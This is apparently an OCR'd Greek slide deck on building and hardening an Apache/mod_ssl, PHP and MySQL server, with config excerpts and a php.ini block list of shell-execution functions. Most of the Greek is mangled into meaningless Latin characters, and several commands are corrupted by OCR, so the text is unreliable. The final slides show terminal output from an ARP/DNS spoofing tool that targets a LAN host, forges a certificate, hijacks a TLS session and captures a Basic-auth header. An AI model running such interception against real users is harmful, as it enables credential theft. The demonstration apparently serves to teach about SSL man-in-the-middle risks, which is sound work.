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Ti1 €ival Ta services ;

[MpOKEITAl YIA EPAPUOYEC MOU T
Kal NEPIYEVOUV CUVOETEIC aAno d
napoxn KAanoiwv UNNPEcIwV.

H napoxn auTwv TwV UNNPECI
KavOVEC, N Mo owoTd, NPWTOKO

O Apache eival pia unnpeaia (s




Aladikaoia nAonynonc o€ eAIOEC
OTO internet

O xpnoTNnc avoiyel Tov ayannuevo Tou
browser, Mozzila ) Internet Explorer.

O xpnoTnc €loayel pia dieubuvaon n.x
Www.google.com.

O unoAoyloTNG JE auTn TN OleuBuvaon
Tpexel Apache kal kavel 0ekTn TN
ouvdean.

O unoAoyIOTNC TOU XPNOTN Kai o
www.google.com cuvouIAOUV HE TO
NPWTOKOAAO HTTP.

To anoTeAeopa eival va sugavileral
N yvwoTn o€Aida Tou google oTov

Xpnarn.


http://www.google.com/
http://www.google.com/

Aladikaoia nAonynong o€ GeAIOEC
OTO internet

O xpnoTnc avoiyel Tov ayannuevo Tou
browser, Mozzila ) Internet Explorer.

O xpnoTnc €loayel pia dieubuvaon n.x
WWW.google.com.

O unoAoyioTNG PJE auTn TN OlEuBuvaon
Tpexel Apache kail kavel 0eKTN TN
ouvdean.

Noyxkoopiog 10Tég  Emwdvec  Opddec  Kardhoyog

O unoAoyIoTNC TOU XPNOTN Kai o
www.google.com cuvouIAOUV HE TO
S i NPpWTOKOAAO HTTP.

To anoTeAeopa ival va sugavileral
N yvwoTn o€Aida Tou google oTov

XpnoTn.


http://www.google.com/
http://www.google.com/

TiI akpIBw¢ 6a XpEIAOTOUUE ;

Apache 1.3.x
[MoAU yvwoToc HTTP server. AnAadn unnpecia nou “HIAAEl” TO
NPpwWTOKOAAO HTTP (www.apache.org).

OpenSSL kal ModSSL
EninpocBeTo koppaT Tou Apache yia aoc@aAgic CUVOEDEIC
(www.openssl.org kar www.modssl.org).

PHP
FAWOOCa NPOYPANUATIONOU Yia QUVANIKO MEPIEXONEVO oTOV Apache
(www.php.net kar www.hardened-php.net).

MySQL
F'vwoTn Bacn 0eOONEVWV
(www.mysqgl.com).


http://www.apache.org/
http://www.openssl.org/
http://www.modssl.org/
http://www.php.net/
http://www.hardened-php.net/

T1 €ival To SSL ;

Netscape's SSL (Secure Sockets Layer).
TeAeuTaia €kdoon €ival To SSLv3.
H aogpaAegia Tou SSL BaocileTal o€ 3 Bacika XapakKTnpPIOTIKA:

Ioxupn kpuntoypdapnon 2 eninedwv (assymmetric & symmetric
cryptography e.g RSA kai RC4).

Akepalotnta dedopevwyv (One way hash encryption e.g MD5).
Euniotoouvn (SSL x509 certificates).

http://wp.netscape.com/eng/ssl3/draft302.txt
http://en.wikipedia.org/wiki/Secure_Sockets_Layer


http://wp.netscape.com/eng/ssl3/draft302.txt

Ti €ival To SSL ;

To SSL Asitoupyei oto Application Layer Tou OSI:

APPLICATION LAYER
Hypertext Transfer Protocol (HTTP)

APPLICATION LAYER
Secure Sockets Layer (SSL)

APPLICATION LAYER

TRANSPORT LAYER
Transmission Control Protocol (TCP)

AgiToupyei cuvnBwc navw ano 1o TCP.

To HTTP padi ue SSL ouxva avageperal kal wc HTTPS
(Hypertext Transfer Protocol - Secure).



[1060 acpalec ival To SSL ;

H povn €nibeon nou OTOXEUEI TO NPWTOKOAAO Kal UMNOPEI va gival
ENITUXNG €ival To SSL MiM (Man In the Middle).

Mia eniTuxnuevn enibeon:
MpoUnoBeTel TNV UNAPEN KANOIWV CUVONKWYV.
>uvodlalel aduvapiec kal g aAAa npwTokoAAa (e.g DNS).
>uvolalel aduvapiec kal oe d1apopouc browsers (e.g Mozilla).

>TOXEUElI TO 30 BACIKO XApAKTNPIOTIKO TOUu SSL, TV EunioToouvn
ueow certificates.



EykaTaoraon - Pre install

ApXIka npenel va dnUIOUPYNOOUNE XPNOTEG via Tov Apache kal Tn
MySQL.

$ su -c "useradd -m -d /home/httpd -p 'X' -g nobody httpd"
$ su -c "useradd -m -d /home/mysql -p 'x' -g nobody mysqgl"

'Eneira avapBabpuifoupe TNV ekdoon Tou OpenSSL yia va ano@uyoupE
Kanoia npoBAnuara.

$ tar -zxf openssl-xxx.tar.gz

$ cd openssl-xxx

$ export CFLAGS="-02"

$ ./config --prefix=/usr shared
$ make && make test

$ su -c "make install"



EvykaTtaoraon - Install

Kavoupe compile Tov Apache padi pe To ModSSL.

$ export CFLAGS="-02"

$ tar -zxf mod_ssl-xxx.tar.gz

$ tar -zxf apache_xxx.tar.gz

$ cd mod_ssl-xxx

$ ./configure --prefix=/usr --with-apache=../apache_xxx

$ cd ../apache_xxx

$ ./configure --prefix=/usr --enable-module=so \
--enable-module=ssl

$ make

$ su -c "make install"



Evykataoraon - Install

Kavoupue compile Tn MySQL. H eykatactacn tnc PHP anaitei va
unapyel Non eykarteornuevn n MySQL.

$ export CFLAGS="-02"

$ tar -zxf mysql-xxx.tar.gz

$ cd mysqgl-xxx

$ ./configure --prefix=/usr --enable-thread-safe-client \
--enable-assembler --with-extra-charsets=none \
--with-pthread --without-pstack \
--without-debug --with-embedded-server \
--with-mysqld-user=mysq|

$ make

$ su -c "make install”



Evykataoraon - Install

Kavoupe compile Tnv PHP.

$ export CFLAGS="-02"

$ tar -jxf php-xxx.tar.bz2

$ gzcat hardening-patch-xxx.gz | patch -p0

$ cd php-xxx

$ ./configure --prefix=/usr --with-mysqli=/usr/bin/mysqgl_config \
--with-mysqgl=/usr --with-apxs=/usr/bin/apxs \
--with-curlwrappers --with-curl=/usr \
--enable-memory-limit --enable-ftp --enable-sockets

$ make

$ su -c "make install"



EykaTaoTtaon - Post install

AnUIoupyoUUE TOUGC KaTaAOyoucg nou xpelaleral o Apache.

$ su httpd
$ cd /home/httpc

$ mkdir SSL

$ mkdir php_tmp =

$ mkdir php_includes

$ mkdir sites php_tmp
$ mkdir conf

$ mkdir logs php_includes

sites

conf




EykaTaoTtaon - Post install

AnuUIoupyoUUE TOUGC KaTaAOyoucg nou xpelaleral o Apache.

$ cd SSL

$ mkdir ssl.crt

$ mkdir ssl.key
$ mkdir ssl.crl




EykataoTaon - Post install

Certificate authority.

# openssl req -x509 -days 365 -newkey rsa:1024 -keyout \
/home/httpd/SSL/ssl.key/ca.key -out /home/httpd/SSL/ssl.crt/ca.crt

Server SSL certificate.

# openssl genrsa -out /home/httpd/SSL/ssl.key/server.key 1024
# openssl req -new -utf8 -out /home/SSL/ssl.crt/server.csr -key \
/home/httpd/SSL/ssl. key/server.key -days 365

# openssl x509 -req -in /home/httpd/SSL/ssl.crt/server.csr \

-out /home/httpd/SSL/ssl.crt/server.crt \

-CA /home/httpd/SSL/ssl.crt/ca.crt \

-CAkey /home/httpd/SSL/ssl.key/ca.key -CAcreateserial -shal



EykaTaoTaon - Post insta

Anuioupyia XpnoTwV Yyia ToV A

# htpasswd -c <-m|-s|-d> /hot

# htpasswd <-m]|-s|-d> /hom




EykataoTaon - Post install

Anuioupyoupe Ta configuration apxeia nou xpeiaceral o Apache.

$ touch /home/httpd/conf/httpd.conf
$ touch /home/httpd/conf/mime.types

AANaloupe Ta permissions.

$ chown -R httpd:nobody /home/httpd/

$ chmod -R 0700 /home/httpd/

$ su "chown -R root:root /home/httpd/SSL /home/httpd/conf"
$ su "chmod -R 0700 /home/httpd/SSL /home/httpd/conf™



EykataoTaon - Post install

AnapaiTnTeC EVEPYEIEC YIA TN AEIToupyia TS MySQL.

$ su root

# mkdir /var/mysq|

# mysql_install_db --user=mysql --datadir=/var/mysql

# chown -R mysqgl:nobody /var/mysdgl

# chmod -R 0700 /var/mysq|

# ( mysqld_safe --user=mysql --datadir=/var/mysql --secure-auth \

--skip-networking --log-error=/var/log/mysql.err & )

# mysqgladmin -u root -p -h localhost password \
\#s0000p3rp4sswOrd\!



Apache configuration
(httpd.conf)

Pubuioeic yia kataypa®n cuppBavTwv (Logs).

CustomLog /home/httpd/logs/apache_details.log "%h %l %u %t
\"%r\" %>s %Db \"%{Referer}i\" \"%{User-agent }i\""

CustomLog /home/httpd/logs/apache_basic.log "%h %I %u %t
\"%r\" %>s %vV"

CoreDumpDirectory /home/httpd
ErrorLog /home/httpd/logs/error.log

AnUIoupyouuE 2 apxeia yia Tnv karaypagn cupgBavrwy — 1 pe
BAaolkeC NANPOPOPIEC KAl eva PE AENTOUEPIEG.



Apache configuration
(httpd.conf)

Baoikec puBuioeic aopaAsiac. |

User httpd
Group nobody

# Disabled server options.
# - Link handling

# - Server side includes
# - Directory indexes
Options -FollowSymLinks
Options -Includes

Options -Indexes




Apache configuration
(httpd.conf)

PuBuioeIC €10EPXOUEVWYV OUVOETEWV.

Listen 0.0.0.0:80
Listen 0.0.0.0:443
ListenBacklog 10

[evIKEC puBUIOEIC.

ServerType standalone
ServerRoot /home/httpd
ServerSignature Off
ServerTokens ProductOnly
ServerAdmin httpd@localhost
ServerName localhost



Apache configuration
(httpd.conf)

Evepyonoinon tng PHP.

LoadModule php5_module /usr/libexec/libphp5.so

AddModule mod_php5.c

AddType application/x-httpd-php .php .php3 .php5 .phtml .inc .g
AddType application/x-httpd-php-source .phps

AddType text/html .htm .html .xhtml



Apache configuration
(httpd.conf)

Apache virtual hosts. Mapadsiypa:

NameVirtualHost *:80
NameVirtualHost *:443

<VirtualHost *:80>
ServerName localhost

DocumentRoot /home/httpd/sites/localhost
Directorylndex index.html

# Protect against user enumeration.
RedirectMatch 400 ~[A/]*
</VirtualHost>



Apache configuration
(httpd.conf)

SSL configuration.

SSLCertificateFile /home/httpd/SSL/ssl.crt/server.crt
SSLCertificateKeyFile /home/httpd/SSL/ssl.key/server.key
SSLCertificateChainFile /home/httpd/SSL/ssl.crt/ca.crt
SSLCARevocationPath /home/httpd/SSL/ssl.crl

SSLVerifyClient none
SSLVerifyDepth O



Apache configuration
(httpd.conf)

SSL virtual host.

<VirtualHost _default :443>
SSLEngine on
ServerName localhost
DocumentRoot /home/httpd/sites/localhost_ssl
RedirectMatch 400 ~[~/]*
<Directory /home/httpd/sites/localhost_ssl|>
SSLRequireSSL
DirectoryIndex index.html
AllowOverride None
Options None
AuthName "Authentication”
AuthType Basic
AuthUserFile /home/httpd/.apache_pass
Require user username_1 ... username_n
</Directory>
</VirtualHost>



Apache configuration
(httpd.conf)

Apvnon npoofacnc os KpUPa

<Files ~ "A\.">
Deny from all
AllowOverride None
</Files>

<Directory ~ "AM\.">
Deny from all
AllowOverride None

</Directory>




Apache configuration
(httpd.conf)

Apvnon npooBaonc oe pakeAouc diaxeipionc Tou Apache.

<Directory /home/httpd/conf>
Deny from all
AllowOverride None
</Directory>

<Directory /home/httpd/logs>
Deny from all
AllowOverride None
</Directory>

<Directory /home/httpd/SSL>
Deny from all
AllowOverride None
</Directory>



Apache configuration
(httpd.conf)

Apvnon npooBaong o€ cpaKé)\

<Directory /home/httpd/php_t
Deny from all
AllowOverride None
</Directory>

<Directory /home/httpd/php_in
Deny from all :
AllowOverride None
</Directory>




[evika yia Tnv PHP

H PHP €ival pia Server Side yAwooa npoypauudaTioHOU.
(eikova ano O'Reilly — Learning PHP 5)

-~ ™ “Dear www.example.com, "‘-—- www.example.com
L prmr senid rrFfmmIngrp:k.pm Weh Server

Your desktap PC T

e -
Internet

| ' e e
' (" Heres the page
. forpew S




[evika yia Tnv PHP

To php.ini gival To Baciké ap:

Anaitei yeyaAn npoooxn. Aabc
npoBANuUaTa acpaA&iac.

H apxikn Tou TonoBeaia givai /

Kabe @opa nou &ekivasl o Apa
YiVETalI avayvwaon Tou php.ini.
Kavouue restart kal Tov Apach




PHP configuration
(php.ini)

[MTPOTEIVOUEVEC YEVIKEC PUBOUICEIC.
memory_limit = 4M

default_mimetype = "text/html"
default_charset = "US-ASCII"

include_path = ".:/usr/lib/php:/home/httpd/php_includes"
doc_root = "/home/httpd/sites”

file_uploads = On
upload_tmp_dir = "/home/httpd/php_tmp"
upload_max_filesize = 2M



PHP configuration
(php.ini)

[MpoTeIVOUEVEC pUBUICEIC aopaAElac.

expose_php = Off
register_globals = Off

magic_quotes_gpc = On
magic_quotes_runtime = Off
magic_quotes_sysbase = Off

session.cache_limiter = "nocache”
session.bug_compat_warn = On
session.hash_function = 1
session.hash_bits_per_character = 4
session.use_cookies = On
session.use_only_cookies = On
session.cookie_secure = On



PHP configuration
(php.ini)

[MpoTeIVOUEVEC pUBOUICEIC aopaAElac.

disable_functions = ini_alter,ini_restore,ini_set,restore_include_path,
set_include_path,set_magic_quotes_runtime,symlink,exec,passthru,
proc_open,shell_exec,system,popen,chdir,chroot

safe_mode = On

safe_mode_gid = Off

sade_mode_include_dir = /home/httpd/php_includes/
safe_mode_exec_dir = /home/httpd/nonexistent/
safe_mode_allowed env_vars = PHP_,SERVER _
safe_mode_protected_env_vars = LD_PRELOAD,LD_LIBRARY_PATH



Firing up Apache!

'OAa €To1ua via va &kivnoel o Apache (eniTEAOUC) :-)
# httpd -f /home/httpd/conf/httpd.conf
[yav oAa kKaAa ;

# httpd -f /home/httpd/conf/httpd.conf

# netstat -an | grep LISTEN

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN

tcp 0 0 0.0.0.0:443 0.0.0.0:%* LISTEN

# su httpd

$ echo "<html><head></head><body>hola!</body></htm|>" >
/home/httpd/sites/localhost/index.html

$ echo "<html><head></head><body>hola!</body></htm|>" >
/home/httpd/sites/localhost_ssl/index.html



File Edit Wiew History Bookrmarks Tools Help T S

@-o - @ Ly GO nipw19216802 =[] [GF[Google

holal

bash-3,00% import -snaps 1 import3, jpg

Done E COpen Notebook



Eile Edit View History Bookmarks Tools Help

et .

P ATE I
- - @ @ (O ntpsunozi6802

&|»| | |[Gl=|Google
o= | | I == e

|4

holal

£ * - i

Lser Name:

2.?*" Enter usernarme and password for " : g - #ops @' gt

Authentication Reguired

Password:

[T Use Password Manager to remember this pass

Waiting for 192.168.0.2...

bash-3.00# impart -shaps 1 import3, jpa
bash-3.00# impart -shaps 1 importD, jpg
bash—3,00% import —snaps 1 importd, jpo

Fliz



MUBoC N NpayuaTikoTnTa ;




# fetching device ethl info

fetched ethernet address 00:02:44:1fF:de:cH

fetched ip address 10,0,0,11

# starting local area scanning

zkipping our ip address

# =zcan finizhed

# no further data to receive

5 hozts detected
IF: 10,0,0,11  ETHERMET: 00:02:44:1f1deicq
IP: 10,0,0,1  ETHERWET: 02:00:46:d2:93:95
LB 10,0,0,12  ETHERMET: 00:0d:88:23:dcila
IP: 10,0,0,32  ETHERMET: 00:0a:ed:ad:lBiak
IP: 10,0,0,138  ETHERMET: 00:0s:h0:2f:h4:da

* E .

ju : = . i
root@shirley:s/Projects/dns# .- -dnsarp-vixen -i ethi -1 1 bash-3.00% import -snaps 1 importl. jpg
# fetching device ethd info |
fetched ethernet address 00:02:44:1f+de:c e e, = |
fetched ip address 10,0,0,11
# ip redirecting iz currently enabled
# enabling ip redirecting
# starting local area scanning
gkipping our ip address
# szcan finizhed
# no further data to receive
2 hozts detected
[1]: IP: 10,0,0,11  ETHERMET: 00:02:44:1f14eicq
[2]: IF: 10,0,0,12  ETHERMET: 00:0d:88:23:dcila
(31 IP: 10,0,0,122  ETHERMET: 00:0=:50:2f:bd43d2
enter hozt to exploit: 2
# 1 threadsz are going to be created
# thread - zending packetz to 10,0,0,138
# final thread handles the target
# 2 threadsz currently running
[1]: ID: 1E386
[2]: ID: 32771
enter hozt to dns-spoofi 2
# initializing dnz spoofing
querying dnz server 195,170,2,1:53/udp
zending dns request
receiving dns zerver responze
208 bytes returned

# dnz responze arrived
# Question entries: 1

# Responzes: 1

# Authority recordz: &
# Additional records: 5
# Flags: 08180




Bbic3
[1961] creating fake certificate
[1961] printing fake certificate
Certificates;
Data:
Werziony 3 (0x2)
Serial Mumber: O (0w
Sighature Algorithm: shalllithRSAEnCrYption
Izzuer: C=GR. 5T= L= . 0= L, QU=
Walidity
Hot Before: Feb 17 18:26:36 2004 GHT
Hot After : Feb 15 18:26:36 2009 GHT
Subject: C=GR, 5T=I : L5 . 0= .. OU=
Subject Public Key Info:
Public Key Algorithm: rzaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):

O0cci06:Oatedibf147:F3:bd 00 fbad: 21114505y

dazdd:af4hiddi124 a0 2ea9e0:da: 2514 14bs FO
Deifl:c9:96:23:1bilescoiflbeidT 671331 8atal
4f:9fF:90:d2:cd: 81 8b i Fd b e f2:5a: 94 9atcd
0:55:8b:Bated: 02021 2F 138 23180401 36 061 BF
82:d0:33:49:8F radsbhrBd 0L cd s das 24184 147 12k

bd:cerdl:16:42:86:09:0F 3881 :83:dE: 0223200 |

dl:failcidardlzibd0r88:2d:dh:82: 1114433803
aichibd:96:dazb3rad; 86103
Exporent: BER3EG (OxfFFFf)
Sighature Algorithm: shalllithRSAEncryption
171adifdida: 2713213014811 1201308109 Bas221b1 1 41 1203
Fradis07 07147 F 314 102103 Fes 2032169 Yardatal 1 F7 1d5:
d2:70173ce:Bdd: Pdiebidd s ad: FFi0dide:dd:b21 30 422802
f3:6418c:08:b2:c013bt a0t b3:e0: 061 9d16d: SR 421 721 04 1602
Fr129:76:708: 543021 8F 1d2:95: 5d FF i Fd 14 e 3erlbr 98 1e:
ebichitcad tediar 140 far91: 1030 edrad: 2F 10b: 70127 1 Bes
BE:cAi12:dl 1391 2b:0d 1830311902 F0 b2 4B FFref 1Bd 1 4F:
23:af
[1961] handling our connected client
# entering real hijacking

bash-3,00# ||

t W0 1

4
4
+
4
4
4
4
4
4
4

4
4

4

RLekm

bash-3,00# import -znapz 1 importZ, jpg

+




SSL MIM

[SENT]

GET / HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, */*
Accept-Language: el

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727)

Host: XXX.XXX.XXX.XXX

Connection: Keep-Alive

Authorization: Basic aGsvd2hhdHR0oZWZ1Y2s/DQo=



